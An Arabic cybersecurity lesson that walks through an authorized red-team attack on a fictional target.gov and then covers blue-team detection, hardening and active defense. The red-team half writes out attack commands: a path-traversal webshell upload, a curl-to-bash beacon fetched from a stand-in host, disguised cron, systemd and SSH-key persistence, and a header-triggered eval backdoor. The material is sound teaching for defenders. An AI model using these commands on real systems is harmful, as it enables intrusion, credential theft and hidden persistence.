اعرف اللي قصادك. احمي أرضك.
YoriSecCyber Operationsالصفحة الرئيسية
الفرق الحمراء — الهجوم

Full Attack Scenario — من الـ Recon لحد الـ Backdoor

Red كاملة على target.gov، وبعدها Blue ترد عليها

المستوى
متقدم
المدة
150m
الترتيب
الدرس 52 من 85
Kill ChainEnd-to-EndBackdoorBlue TeamActive Defense

السيناريو الكامل — اختراق target.gov من الصفر للـ backdoor

تشبيه يقرّب الفكرة
الدرس ده مش list of commands. ده فيلم كامل. red team عنده تصريح بيخترق بوابة حكومية وهمية اسمها target.gov، من أول packet لحد الـ backdoor الأخير. وبعدين بنرجّع الشريط من بعدسة الـ blue team: الـ SOC شاف ايه؟ ايه الـ alerts اللي ضربت؟ ايه اللي مرّ بدون ما يحس بيه حد؟ وأخيراً، الـ Active Defense — مش "hack back" — كيف نخدع الـ adversary، نلمّ TTPs، ونبني قضية attribution على القانون.

الإطار: Cyber Kill Chain من Lockheed (Recon -> Weaponize -> Deliver -> Exploit -> Install -> C2 -> Actions)، + ATT&CK mapping لكل خطوة. الـ blue team عندنا 4 نقاط محتملة يلاقطنا فيها. هدفنا نشوفها كلها قبل ما نمشي.

الجزء الأول — الفريق الأحمر

التفويض: خطاب مكتوب من الجهة، نطاق محدد (*.target.gov)، نافذة زمنية، نقطة اتصال طارئة، قائمة أنظمة محظورة (PROD-DB، SCADA). كل أمر يُسجَّل في script(1)أو في تسجيل Burp.

1
الاستطلاع السلبي — لا تلمس الهدف

قبل أي حزمة باتجاه الخادم، نجمع كل ما هو عام. المهاجم الذكي يمشي في الظل أولاً.

bash
# 1. جرد الـ subdomains من الشهادات (passive)
curl -s "https://crt.sh/?q=%25.target.gov&output=json" | jq -r '.[].name_value' | sort -u

# 2. سجلات DNS التاريخية
amass enum -passive -d target.gov -o subs.txt

# 3. ملفات مسرّبة (PDF, docx) قد تفضح أسماء مستخدمين
google-dorks: site:target.gov filetype:pdf
metagoofil -d target.gov -t pdf,docx -l 100 -o ./loot

# 4. GitHub — مفاتيح API، نسخ احتياطية
gh search code "target.gov" --json repository,path
trufflehog github --org=target-gov --only-verified

# 5. LinkedIn / Wayback — أسماء موظفين، تقنيات قديمة
linkedin2username -c "Target Gov Authority"
waybackurls target.gov | grep -E "\.(env|bak|old|swp)$"

ATT&CK: T1589 (Gather Victim Identity)، T1592 (Gather Victim Host)، T1596 (Search Open Technical DBs).

2
الاستطلاع النشط — أول حزمة تصل الهدف

الآن نُرسل طلبات. كل حزمة تُسجَّل في WAF/EDR. نعمل ببطء و من IPs متعددة.

bash
# 1. بصمة الـ stack
whatweb -a 4 https://www.target.gov
wafw00f https://www.target.gov          # كشف WAF (Cloudflare? F5? Imperva?)
curl -sI https://www.target.gov | head  # Server, X-Powered-By

# 2. مسح خفيف (rate-limited)
nmap -sS -T2 --top-ports 1000 -Pn www.target.gov
# لاحقاً، بعد إيجاد origin مكشوف:
nmap -sV -sC -p 80,443,8080,8443,3306,5432 origin.target.gov

# 3. اكتشاف المسارات
ffuf -u https://www.target.gov/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
     -mc 200,301,401,403 -t 20 -p 0.3
# /admin, /api/v1, /backup.zip, /.git/HEAD ...
3
فحص الثغرات و الفرز

لدينا الآن قائمة أصول. نُشغّل ماسحات مُتخصّصة و نُفلتر النتائج يدوياً.

bash
# Nuclei — قوالب CVE معروفة (3900+ template)
nuclei -u https://portal.target.gov -severity high,critical -rl 30

# Nikto — مشاكل على مستوى الخادم
nikto -h https://portal.target.gov -Tuning x6

# اختبار يدوي للـ params التي وجدها arjun
arjun -u https://portal.target.gov/api/v2/users
# ?id=, ?lang=, ?file=, ?redirect= ...

# فحص JS bundles لاكتشاف endpoints مخفية
linkfinder -i 'https://portal.target.gov/static/*.js' -o cli
$ $ nuclei -u https://portal.target.gov -severity critical
[CVE-2023-XXXXX] [http] [critical] https://portal.target.gov/api/upload
[apache-path-traversal] [http] [high] https://portal.target.gov/static/../
[exposed-git] [http] [high] https://portal.target.gov/.git/HEAD

ATT&CK: T1595.002 (Vulnerability Scanning). ثلاثة خيوط محتملة — نختار الأهدأ صوتاً: .git المكشوف.

4
الاستغلال — من ثغرة إلى shell

الـ .git/ المكشوف يُعطينا الكود المصدري. هناك نجد الجوهرة الحقيقية.

bash
# 1. سحب المستودع كاملاً
git-dumper https://portal.target.gov/.git/ ./loot/source

# 2. مراجعة الكود — مفاتيح، endpoints، منطق ضعيف
cd loot/source
trufflehog filesystem . --only-verified
grep -rE "API_KEY|SECRET|PASSWORD|TOKEN" --include="*.env*" --include="*.config*"

# وجدنا في .env.production:
# DB_PASS=Sup3r-Secret-2024
# ADMIN_TOKEN=eyJhbGc...
# AWS_ACCESS_KEY_ID=AKIA...

# 3. مراجعة المسار /api/upload الذي ظهر في nuclei
# الكود يستقبل filename دون تعقيم → path traversal → write webshell
curl -X POST https://portal.target.gov/api/upload \
  -H "Authorization: Bearer eyJhbGc..." \
  -F "file=@shell.php;filename=../../public/uploads/x.php"

# 4. تأكيد التنفيذ
curl "https://portal.target.gov/uploads/x.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
5
ترسيخ الموطئ — من webshell إلى C2 مستقر

الـ webshell هشّ. نحتاج اتصالاً ثنائياً مُشفّراً مع server خارجي = C2.

bash
# 1. على الـ webshell نُنزّل beacon
curl https://portal.target.gov/uploads/x.php?cmd=$(echo -n \
  "curl -sk https://cdn-redteam.example/u | bash" | base64)

# 2. الـ payload المُحمّل (Sliver/Mythic/Cobalt Strike مُكوّنة بـ HTTPS jitter)
# /tmp/.X11-cache (يبدو ملفاً نظامياً)
chmod +x /tmp/.X11-cache && /tmp/.X11-cache &

# 3. على C2 (Sliver مثال)
> sessions
ID  Name      Transport  RemoteAddress      Hostname
1   sweetgum  https      10.20.30.5:54321   web01.target.gov

# 4. حركة جانبية — تعداد ثم استخراج credentials
> use 1
> ps              # هل هناك أنتي فيرس؟
> ls /home        # حسابات
> shell
$ sudo -l         # هل www-data له sudo بدون كلمة سر على شيء؟
$ cat /etc/passwd
$ find / -perm -4000 2>/dev/null   # SUID
$ ss -tnlp        # ما الذي يستمع داخلياً؟ — DB؟ Redis؟

ATT&CK: T1505.003 (Web Shell)، T1071.001 (App Layer Protocol — HTTPS C2)، T1059.004 (Unix Shell).

6
الباب الخلفي — البقاء عبر إعادة التشغيل

هدفنا أن نعود حتى لو أُغلق webshell. أربع طبقات بقاء، مرتبة من الأهدأ إلى الأعلى صوتاً:

1. SSH key في حساب خدمة
bash
# نضيف مفتاحنا إلى authorized_keys لمستخدم نادر الاستخدام
echo "ssh-ed25519 AAAA..." >> /home/backup/.ssh/authorized_keys
# تعديل sshd_config: AllowUsers backup
2. systemd timer مُموّه
bash
# /etc/systemd/system/apt-cache-clean.timer
# يبدو كصيانة، يُشغّل beacon كل 4 ساعات
[Timer]
OnBootSec=15min
OnUnitActiveSec=4h
3. Cron job في /etc/cron.d
bash
# يستخدم اسماً نظامياً
echo "*/30 * * * * root /usr/lib/.cache/sync" \
  > /etc/cron.d/logrotate-sync
4. Web backdoor ثاني
bash
# داخل ملف PHP موجود — سطر واحد
# يُفعَّل فقط بـ header خاص
if(isset($_SERVER['HTTP_X_FWD_VER']) &&
   $_SERVER['HTTP_X_FWD_VER']==='9a3f') eval(...);

ATT&CK: T1098.004 (SSH Auth Keys)، T1053.006 (systemd Timers)، T1505.003 (Web Shell).

7
الأهداف — لماذا نحن هنا

الباب الخلفي ليس الهدف. الهدف هو البيانات أو التأثير. حسب التفويض:

  • تعداد قاعدة البيانات → سحب hash كلمات المرور (لإثبات الوصول، لا للنشر).
  • الوصول إلى مفتاح AWS الذي وجدناه → تعداد S3 buckets، lambda functions.
  • التحرك جانبياً نحو AD (إذا كان داخل النطاق) — Kerberoasting، AS-REP roasting.
  • التوثيق: لقطات شاشة، hashes (مُقصّة)، مسارات ATT&CK، خط زمني دقيق.

الجزء الثاني — الفريق الأزرق: ماذا رأينا؟

تشبيه يقرّب الفكرة
نُعيد الشريط من جانب SOC. كل خطوة من الفريق الأحمر تترك أثراً: log entry، حزمة شاذة، طفل عملية غير معتاد، اتصال صادر إلى ASN غريب. السؤال ليس "هل تركت أثراً؟" بل "هل هناك من يُراقب الأثر الصحيح؟"
1
ما كان يجب أن يُلتقَط في الاستطلاع
text
المصدر: WAF / Reverse Proxy logs

[10:14:02] 198.51.100.7 GET /admin       → 403  UA="Mozilla/5.0 ffuf"
[10:14:02] 198.51.100.7 GET /backup.zip  → 404
[10:14:02] 198.51.100.7 GET /.git/HEAD   → 200  ← انذار!
[10:14:03] 198.51.100.7 GET /api/v1      → 401
... (1200 طلب في 90 ثانية)

قواعد الكشف:
1. Splunk/Sigma: > 100 طلب 4xx/5xx من نفس IP خلال 60s
2. User-Agent يحوي "ffuf|sqlmap|nuclei|nikto|gobuster"
3. وصول ناجح إلى /.git/* أو /.env* أو /backup*
4. تنبيه crt.sh monitoring — شهادة جديدة لنطاقنا تظهر في log
2
ما كان يجب أن يُلتقَط في الاستغلال

رفع .php في مجلد uploads = توقيع كلاسيكي.

text
المصدر: File Integrity Monitoring (Wazuh / auditd)

type=PATH msg=audit(...): name="/var/www/public/uploads/x.php"
  nametype=CREATE  uid=33 (www-data)

قاعدة Sigma:
detection:
  selection:
    Image: '*php*'
    TargetFilename|endswith: ['.php', '.phtml', '.jsp']
    TargetFilename|contains: '/uploads/'
  condition: selection

+ EDR rule: عملية www-data تُنفّذ /bin/sh أو curl خارج localhost
3
ما كان يجب أن يُلتقَط في الـ C2

الـ beacon يتصل خارجياً بشكل دوري. هذا أوضح إشارة في كل السيناريو.

text
المصدر: Zeek / Suricata + DNS logs

# beaconing detection
RITA: تكرار اتصالات إلى نفس IP بفاصل ثابت (jitter منخفض)
  → score > 0.8 = beacon محتمل

# JA3/JA4 fingerprint
TLS handshake من /tmp/.X11-cache ≠ توقيع متصفّح أو curl معتاد
  → JA3 hash = blacklisted (Sliver default)

# DNS
استعلام عن cdn-redteam.example من خادم production
  → ASN غير معروف، عُمر النطاق < 30 يوم = إنذار
4
ما كان يجب أن يُلتقَط في الباب الخلفي
text
auditd: تعديل /home/*/.ssh/authorized_keys
  → إنذار حرج (لا يحدث في العمليات الطبيعية)

systemd: وحدة جديدة في /etc/systemd/system/*.timer
  → diff مع baseline الـ FIM

cron: ملف جديد في /etc/cron.d/
  → نفس الشيء

osquery query تشغّل كل 15 دقيقة:
SELECT * FROM crontab WHERE path NOT IN (<baseline>);
SELECT * FROM authorized_keys WHERE uid != <expected>;

الجزء الثالث — الحماية: كيف نُغلق هذه السلسلة

طبقة 1 — تقليل الأبواب اللي قدامه
  • مراجعة دورية لـ crt.sh — لا شهادات لنطاقات غير معتمدة.
  • حظر الوصول إلى .git/, .env, .svn/ على مستوى reverse proxy.
  • عدم نشر مستودعات تطوير على origin مكشوف.
  • أسرار في Vault/AWS Secrets Manager، لا في .env.
طبقة 2 — WAF و rate limiting
  • قواعد ModSecurity CRS أو AWS WAF managed rules.
  • rate limit على endpoints حسّاسة (login، upload، API).
  • تحدّي JS / CAPTCHA على نمط فحص آلي.
  • حظر User-Agents معروفة لأدوات pentest في production.
طبقة 3 — تصلّب التطبيق
  • تعقيم filename + قائمة بيضاء للامتدادات.
  • مجلد uploads خارج DocumentRoot — لا ينفّذ كـ PHP.
  • مبدأ أقل صلاحية: حساب التطبيق لا يكتب خارج مجلده.
  • SAST/DAST في الـ CI — لا ندخل production بثغرة معروفة.
طبقة 4 — تجزئة الشبكة
  • خوادم web لا تتصل بـ DB إلا عبر منفذ واحد محدد.
  • egress firewall — قائمة بيضاء صارمة للـ DNS و IPs.
  • VLANs منفصلة: web ↔ app ↔ DB ↔ admin.
  • Zero Trust: كل اتصال داخلي يُصادَق و يُسجَّل.
طبقة 5 — كشف و استجابة
  • EDR على كل خادم (CrowdStrike/SentinelOne/Wazuh).
  • SIEM يجمع: web logs + auditd + Zeek + DNS.
  • قواعد Sigma للـ TTPs أعلاه — مُختبرة بـ atomic-red-team.
  • SOAR playbook: عند تنبيه webshell → عزل تلقائي للحاوية.
طبقة 6 — استعداد بشري
  • Tabletop شهري — يحاكي بالضبط هذا السيناريو.
  • IR runbook مكتوب، مجرَّب، و معروف لكل العاملين.
  • Threat hunting أسبوعي — لا ننتظر التنبيه.
  • Purple team: الأزرق و الأحمر يجلسان معاً.

الجزء الرابع — الرد العكسي (Active Defense)

1. Honeytokens & Honeypots
  • وثيقة passwords.xlsx وهمية في share — أي وصول لها = حادث مؤكد.
  • حساب AD وهمي بصلاحيات مغرية — أي محاولة Kerberoast = إنذار.
  • مفتاح AWS canary (Thinkst Canarytokens) — يُطلق إنذاراً عند أول استخدام.
  • خادم T-Pot في DMZ — يجمع TTPs و IPs لشبكة المهاجم.
2. خداع المهاجم في الشبكة
  • عند كشف beacon: لا تقطع فوراً. راقب لجمع TTPs.
  • أعد توجيه C2 traffic إلى sinkhole — يستمر المهاجم بظنه يُسيطر.
  • أطعمه بيانات وهمية مُحبكة — وثائق وهمية موسومة بـ canarytoken.
  • هذا يكشف الـ infrastructure الكاملة للمهاجم قبل الطرد النهائي.
3. الإسناد (Attribution) القانوني
  • اجمع: IPs، JA3، أسماء أدوات، أسلوب التشغيل (TTPs)، أوقات النشاط (timezone).
  • قارن مع تقارير CTI (Mandiant, CrowdStrike, Talos) — هل النمط معروف؟
  • سلسلة الحراسة (chain of custody) للأدلة — صور disk، memory dumps، PCAPs.
  • سلّم الحزمة لـ CERT الوطنية / إنفاذ القانون. لا تنشر علنياً قبل إذنهم.
4. تعاون مع مزوّدي البنية التحتية
  • إبلاغ ASN/Hosting الذي يستضيف C2 → takedown.
  • إبلاغ مُسجّل النطاق → تعليق الدومين.
  • مشاركة IoCs عبر MISP / ISAC القطاعي.
  • طلب RPZ من مزوّد DNS لحظر النطاق على نطاق وطني.

خلاصة — الجدول الكامل

text
المرحلة         الفعل (أحمر)              الأثر (أزرق)              الحماية
────────────────────────────────────────────────────────────────────────
Recon           crt.sh, github dorks       —                       حذف الأسرار من Git
Scanning        ffuf, nuclei               WAF: 4xx burst          rate limit + IP rep
Discovery       /.git/HEAD = 200           access log              حظر الملفات المخفية
Initial Access  upload .php عبر traversal  FIM: ملف جديد           sanitize + sandbox
C2              HTTPS beacon               Zeek: beaconing JA3     egress allowlist
Persistence    systemd timer + SSH key    auditd: cron/ssh diff   FIM + osquery
Actions         سحب hashes                 DB egress شاذ           DLP + canary creds

Active Defense: honeytokens → اكتشاف فوري | sinkhole → جمع TTPs | CERT → takedown

الكلام اللي بيتقال: "المهاجم محتاج ينجح مرة، المدافع محتاج ينجح كل مرة". صحيح بس ناقص. الـ asymmetry المعاكسة: المهاجم محتاج يخفي كل أثر، المدافع محتاج alert واحد صح. واللي بيخسر هو اللي بيـ ignore الـ alert الواحد ده.

الخلاصة الناشفة

الفيلم ده مش flex. ده تذكرة. الـ red team بيشتغل بـ playbook معروف. الـ blue team عنده 4-5 نقط ممكن يلاقطه فيها.

واللي بيحصل فعلياً — وأنا شفته بعيني — إن أغلب الـ alerts في الـ SOC بتروح في sleep لأن الـ analyst تعبان أو الـ rule noisy. الـ adversary بيعدّي مش لأنه شاطر. بيعدّي لأن الـ defender بيتفرّج مش بيراقب.

الفرق بين اتنين: hunting culture، egress filtering، ETW + Sysmon + identity logs مع بعض، و SOAR بيشتغل automatically. الباقي تفاصيل.

مراجع و قراءة إضافية

  • Lockheed Martin — Cyber Kill Chain whitepaper.
  • MITRE ATT&CK Enterprise Matrix.
  • Active Defense Harbinger Distribution (ADHD) — Black Hills InfoSec.
  • SANS FOR508 — Advanced IR & Threat Hunting.
  • Mandiant M-Trends Report (annual).
خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.